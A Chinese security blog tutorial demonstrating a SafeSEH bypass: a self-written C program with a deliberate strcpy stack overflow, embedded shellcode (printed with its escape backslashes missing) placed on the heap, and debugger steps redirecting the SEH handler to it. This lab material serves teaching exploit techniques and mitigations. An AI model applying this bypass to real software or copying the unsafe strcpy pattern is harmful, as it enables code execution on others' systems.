通过堆绕过SafeSEH

  • A+
所属分类:安全文章

通过堆绕过SafeSEH

扫一扫关注公众号,长期致力于安全研究

前言:本章讲解从堆中绕过SafeSEH保护机制



0x01 为什么从堆中绕过

之前一篇文章讲过了SafeSEH的原理,这里就不在重复讲解

突破SafeSEH机制之模块绕过


当异常处理函数的地址被更改为堆内存中的地址之后,即使没有位于S.E.H表中,也会跳转到堆内存中进行执行代码。


0x02 实战

代码如下,通过制造除0异常,进入异常处理函数中

#include<stdlib.h>#include<string.h>char shellcode[]="xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C""x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53""x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B""x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95""xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59""x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A""xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03""x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB""x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50""x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90""xA0x29x39x00"; //shellcode address
void test(char* input){ char str[200]; strcpy(str,input); int zero = 0; zero = 1/zero;

}
int _tmain(int argc, _TCHAR* argv[]){ char* buf = (char*)malloc(500); printf("123"); __asm { int 3; } strcpy(buf,shellcode); test(shellcode); return 0;}
   
     首先将shellcode存到了堆中,这里要记一下eax的值就是堆中shellcode的地址(004C7268)

通过堆绕过SafeSEH


跟进test函数中,圈红框的地方就是strcpy函数,而堆栈情况此时没有覆盖到SEH异常处理函数

通过堆绕过SafeSEH


继续手动找一下SEH异常函数地址,最终在19FF60处找到,那只需要把19FF60+4的位置改为堆中shellcode的地址(004C7268)即可

通过堆绕过SafeSEH


之后F9直接跑即可,Shellcode成功执行,成功绕过SafeSEH

通过堆绕过SafeSEH



0x04 结尾

希望多多关注本公众号

11111
微信搜索关注 "安全族" 长期致力于安全研究


下方扫一下扫,即可关注

通过堆绕过SafeSEH




本文始发于微信公众号(安全族):通过堆绕过SafeSEH

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: